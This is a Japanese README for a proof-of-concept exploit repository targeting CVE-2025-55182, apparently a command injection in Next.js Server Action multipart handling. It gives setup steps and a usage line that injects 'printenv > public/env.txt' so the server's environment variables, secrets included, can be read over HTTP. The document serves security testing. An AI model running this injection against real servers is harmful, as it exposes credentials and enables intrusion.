
CVE-2025-55182を標的とした概念実証エクスプロイト。Next.jsのmultipart/Next-Action処理におけるローカルコマンドインジェクションのデモスクリプト。
この小さなリポジトリには以下が含まれています:
test-app/: Next.js 16 (React 19) のテストアプリケーションで、App Router を使用しています。exploit.js: マルチパート/Next-Action ハンドリングに関するサーバーの動作をデモおよびテストするためのローカルな概念実証スクリプトです。ローカルテストのみを目的としています。rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
このスクリプトは、Next-Action ヘッダー付きのマルチパートリクエストを作成し、サーバーの動作をテストします。デフォルトでは、サーバープロセス上で環境変数を public/env.txt に書き込むコマンドを実行しようとします(ローカル/開発環境でのデモンストレーション用)。
重要な注意事項:
public/ が test-app/public/ の下に解決されるように設定されていることを前提としています。別のターミナルで、Next.js アプリが http://localhost:3000 で動作していることを確認してください:
cd test-app
npm run dev
リポジトリのルートからスクリプトを実行します:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
パラメータ:
http://localhost:3000sh -lc 'printenv > public/env.txt'実行後、生成されたファイルにアクセスして確認してください:
http://localhost:3000/env.txt
すると、サーバーの環境変数が表示されます。